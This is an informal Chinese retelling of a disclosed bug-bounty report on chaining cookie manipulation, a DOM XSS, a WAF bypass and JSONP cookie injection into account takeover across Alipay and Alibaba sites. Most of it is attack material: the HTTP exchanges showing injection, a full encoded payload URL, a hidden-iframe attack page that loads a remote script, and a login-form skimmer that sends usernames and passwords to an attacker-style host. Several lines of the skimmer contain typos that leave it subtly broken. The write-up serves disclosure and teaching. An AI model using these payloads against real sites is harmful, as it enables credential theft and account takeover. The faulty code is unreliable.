原文地址是:https://medium.com/@y.shahinzadeh/chaining-multiple-vulnerabilities-waf-bypass-to-account-takeover-in-almost-all-alibabas-websites-f8643eaa2855
但是我不想翻译,我也不想用那机器人一样的翻译方式 嘿老伙计,我发誓,我一定要狠狠的踢你的屁股。那种方式去翻译。我就以我的理解,我最大,哈哈哈哈 来翻译。OK
======translateing begins ===========
前置知识
其因是alibaba.com在hackerone上有一个项目,奖励的范围用老外的话来说是非常大。哈哈哈哈 huge scope 吓尿老外了。
老外说要从jsonp下手,他说jsonp之类的一些会操作cookie,可能老外对cookie之类的传输安全什么的很看重,毕竟拿到cookie,基本上就是可以登录你的账号了
jsonp因为是跨域加载的,所以他会加入其他外部的一些域的内容,这可能会有一些安全问题,以下是一个正常的jsonp请求过程
根据RFC6265的规定,a.b.com可以设置一个属性为.b.com或a.b.com属性的cookie键值,而且访问b.com的时候很自然的.b.com的这个cookie也会被发送过去。
简单的来说就是:
非顶级域名,如二级域名或者三级域名,设置的cookie的domain只能为顶级域名或者二级域名或者三级域名本身,不能设置其他二级域名的cookie,否则cookie无法生成。
顶级域名只能设置domain为顶级域名,不能设置为二级域名或者三级域名,否则cookie无法生成。
二级域名能读取设置了domain为顶级域名或者自身的cookie,不能读取其他二级域名domain的cookie。所以要想cookie在多个二级域名中共享,需要设置domain为顶级域名,这样就可以在所有二级域名里面或者到这个cookie的值了。
顶级域名只能获取到domain设置为顶级域名的cookie,其他domain设置为二级域名的无法获取。
但是!老外画了一个这个图 ,虽然看不懂在说什么(*&……%¥%……&*
了解了cookie 的domain使用。接下来就要了解下jQuery等一些框架的dom操作,例如.val()方法,常见的一些框架都会有这样的dom操作方法,通过dom api快速获取一些html内容。
假设我们有这样的一段html代码:
<input id="input" value="&"" />
我们在input里输入的是&"
这样的话,接下来的jquery 使用$.val()方法获取的结果是
$('#input').val() // return &"
嗯 就是那个 &"
了解上面几个前提知识后可以逐步开始了解这个漏洞的产生过程了。
但是阿里有waf。 嗯。。。 在这个过程中,老外发现了一个可以bypass阿里waf的方法。
这个payload不会被拦截 或者跳转为其他的请求302 之类的。
根据实验,每个cookie对domain的设置是有限的,在google chrome浏览器下对同一个域名只能设置不超过150个的cookie值,firefox可以达到200个。具体的文档是http://browsercookielimits.squawky.net/
如果感兴趣的话可以尝试下下面的代码
for(var i=0;i<1000;i++){
document.cookie=i+'=1;domain=.alipay.com'
}
document.cookie='uid=foo;domain=.alipay.com;path=/'
正文开始
啊哦 ,在我翻译这个文章的时候老外的文章 对这个阿里的xss漏洞被干掉了,通过公关和谐了。。。嗯 没关系 我根据我当是阅读的时候理解重新讲述一下
- ynuf.alipay.com上有个uid,很多阿里下的域名或者内容都会加载这个 并且设置cookie值。
um.__idcb("5cb143654b94f4a5")
- 找到一个alipay.com下的任何一个xss
- 通过alipay.com的xss来覆盖你要攻击的域的cookie内容,例如login.alibaba.com就行了
这个uid的获取过程如下
如果没有这个cookie 会从alipay去加载
第一次请求如下
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")
第二次请求和返回
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")
第三次
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")
可以看出 第三次的时候,我们修改cookie的uid值,就可以注入恶意代码,所以我们拿到一个*.alipay.com下的一个xss就可以对这个cookie进行操作了。
所以根据cookie的domain设置规则,我们需要在.alipay.com下注入这个注入这个uid的xss 就可以让alipay.com下的全部子域名都感染这个xss。
uid=")+alert("xss;domain=.alipay.com
但是有个前提 我们先找个*.alipay.com下的xss。 然后作者在https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo
找到了一个xss
对其中的keyword参数注入了双引号进行测试。发现返回如下
也就是参数 foo"> 经过浏览器编码 变成foo%22%3e 然后到达服务端进行urldecode还原为foo">,再进行htmlencode为foo"e;> 然后返回
如下图
而这个doc.open.alipay.com下这个搜索结果的内容展示是通过dom生成的。。。。只要是htmlencode后的内容 通过dom生成 依然可以xss,这是前置知识里写的关于jquery之类的一些框架的val方法的原理。
那么现在的过程就是 foo"> 先经过urldecode 然后经过htmlencode 然后再经过一定过滤。。。然后再输出
但是再fuzz的过程发现了一个比较严重的问题,那就是如下
这个没过滤 导致 我们输入 ">%26gt;script%26lt;
的时候, 经过urldecode后是">>script<
然后这个">>script< 返回后在经过前端框架的val处理 变成xss。
但是这个时候有个waf。。。发现了script关键词 估计就干掉了,代码中必须返http请求为200才可以正常加载,所以要找一个waf不会触发的xss 标签。
最后发现了<details/open/ontoggle=alert`1`>这个办法。
html5支持这样的解析方式。。。
好吧
最后就是
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E
最后我们来构造一下整个过程
构造一个sb.html页面 代码如下:
<html>
<ce
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/οntοggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>
这个页面是个dom xss,并不是反射型的哦。这个页面会执行 覆盖cookie的操作,然后写入我们一个恶意的cookie值,这个cookie是一个js注入的代码,代码如下:
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""
这个时候你再去访问login.alibaba.com, 当然 你先清除uid那个cookie ,服务器发现你没有uid这个cookie 会去加载上面这个cookie。上面的这个cookie会被文章最开始的um.__idcb("")+alert("Injected") 的一部分执行。也就是动态加载一个script标签咯。接下来这个动态加载的恶意标签中的内容如下:
document.forms[0].on submit = function() {
var u = document.getElementById('fm-login-id');
var p = document.getElementById('fm-login-password');
var s = new xmlHttpRequets();
s.open('POST', 'https://myserver/xxx-alibaba/');
s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
s.on readystatechange = function() {
if (s.readState == 4) {
document.forms[0].submit();
}
}
s.send(`u=${u}&p=${p}`);
return false;
}
很简单,代码就是通过document.getElementById获取表单的值,然后通过xmlhttprequest对象发送到服务端
整个过程完成了。
哇塞 其实这是一个非常精彩的xss过程。帅气